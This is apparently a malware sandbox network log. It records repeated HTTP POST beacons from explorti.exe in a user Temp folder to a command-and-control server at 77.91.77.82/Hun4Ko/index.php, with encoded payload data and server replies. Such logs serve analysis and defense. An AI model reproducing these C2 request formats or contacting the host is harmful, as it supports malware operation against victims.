Jun 27, 2024 19:27:10.630116940 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 27 Jun 2024 17:27:10 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jun 27, 2024 19:27:10.647461891 CEST	305	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 41 32 44 37 35 42 34 35 45 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A77BA2D75B45E82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Jun 27, 2024 19:27:10.870505095 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 27 Jun 2024 17:27:10 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.5	49725	77.91.77.82	80	2820	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jun 27, 2024 19:27:10.984977007 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 27, 2024 19:27:11.716361046 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 27 Jun 2024 17:27:11 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jun 27, 2024 19:27:11.717170954 CEST	305	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 41 32 44 37 35 42 34 35 45 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A77BA2D75B45E82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Jun 27, 2024 19:27:11.938879013 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 27 Jun 2024 17:27:11 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.5	49726	77.91.77.82	80	2820	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jun 27, 2024 19:27:12.046842098 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 27, 2024 19:27:12.732758999 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 27 Jun 2024 17:27:12 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jun 27, 2024 19:27:12.736279011 CEST	305	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 41 32 44 37 35 42 34 35 45 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A77BA2D75B45E82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Jun 27, 2024 19:27:12.952466011 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 27 Jun 2024 17:27:12 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.5	49727	77.91.77.82	80	2820	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jun 27, 2024 19:27:13.062283993 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 27, 2024 19:27:13.768039942 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 27 Jun 2024 17:27:13 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jun 27, 2024 19:27:13.768825054 CEST	305	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 41 32 44 37 35 42 34 35 45 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A77BA2D75B45E82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Jun 27, 2024 19:27:13.995023966 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 27 Jun 2024 17:27:13 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.5	49728	77.91.77.82	80	2820	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jun 27, 2024 19:27:14.112405062 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 27, 2024 19:27:14.837445021 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 27 Jun 2024 17:27:14 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jun 27, 2024 19:27:14.840792894 CEST	305	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 41 32 44 37 35 42 34 35 45 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A77BA2D75B45E82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Jun 27, 2024 19:27:15.061887980 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 27 Jun 2024 17:27:14 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.5	49729	77.91.77.82	80	2820	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jun 27, 2024 19:27:15.175781965 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 27, 2024 19:27:15.877741098 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 27 Jun 2024 17:27:15 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jun 27, 2024 19:27:15.878559113 CEST	305	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 41 32 44 37 35 42 34 35 45 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A77BA2D75B45E82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Jun 27, 2024 19:27:16.102689981 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 27 Jun 2024 17:27:15 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.5	49730	77.91.77.82	80	2820	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jun 27, 2024 19:27:16.218617916 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 27, 2024 19:27:16.944653988 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 27 Jun 2024 17:27:16 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jun 27, 2024 19:27:16.952488899 CEST	305	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 41 32 44 37 35 42 34 35 45 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A77BA2D75B45E82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Jun 27, 2024 19:27:17.179075003 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 27 Jun 2024 17:27:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.5	49731	77.91.77.82	80	2820	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jun 27, 2024 19:27:17.296999931 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 27, 2024 19:27:17.985933065 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 27 Jun 2024 17:27:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jun 27, 2024 19:27:17.986938953 CEST	305	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 41 32 44 37 35 42 34 35 45 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A77BA2D75B45E82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Jun 27, 2024 19:27:18.202666998 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 27 Jun 2024 17:27:18 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.5	49732	77.91.77.82	80	2820	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jun 27, 2024 19:27:18.312335968 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 27, 2024 19:27:18.999058962 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 27 Jun 2024 17:27:18 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jun 27, 2024 19:27:19.000060081 CEST	305	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 41 32 44 37 35 42 34 35 45 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A77BA2D75B45E82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Jun 27, 2024 19:27:19.216128111 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 27 Jun 2024 17:27:19 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.5	49733	77.91.77.82	80	2820	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jun 27, 2024 19:27:19.328732014 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 27, 2024 19:27:20.049719095 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 27 Jun 2024 17:27:19 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jun 27, 2024 19:27:20.050472021 CEST	305	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 41 32 44 37 35 42 34 35 45 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A77BA2D75B45E82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Jun 27, 2024 19:27:20.277555943 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 27 Jun 2024 17:27:20 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.5	49734	77.91.77.82	80	2820	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jun 27, 2024 19:27:20.390419960 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 27, 2024 19:27:21.076488972 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 27 Jun 2024 17:27:20 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jun 27, 2024 19:27:21.077394009 CEST	305	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 41 32 44 37 35 42 34 35 45 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A77BA2D75B45E82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Jun 27, 2024 19:27:21.294205904 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 27 Jun 2024 17:27:21 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.5	49735	77.91.77.82	80	2820	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jun 27, 2024 19:27:21.406060934 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 27, 2024 19:27:22.110302925 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 27 Jun 2024 17:27:21 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jun 27, 2024 19:27:22.111063004 CEST	305	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 41 32 44 37 35 42 34 35 45 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A77BA2D75B45E82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Jun 27, 2024 19:27:22.333688974 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 27 Jun 2024 17:27:22 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.5	49736	77.91.77.82	80	2820	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jun 27, 2024 19:27:22.452997923 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 27, 2024 19:27:23.158173084 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 27 Jun 2024 17:27:23 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jun 27, 2024 19:27:23.160768032 CEST	305	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 41 32 44 37 35 42 34 35 45 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A77BA2D75B45E82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
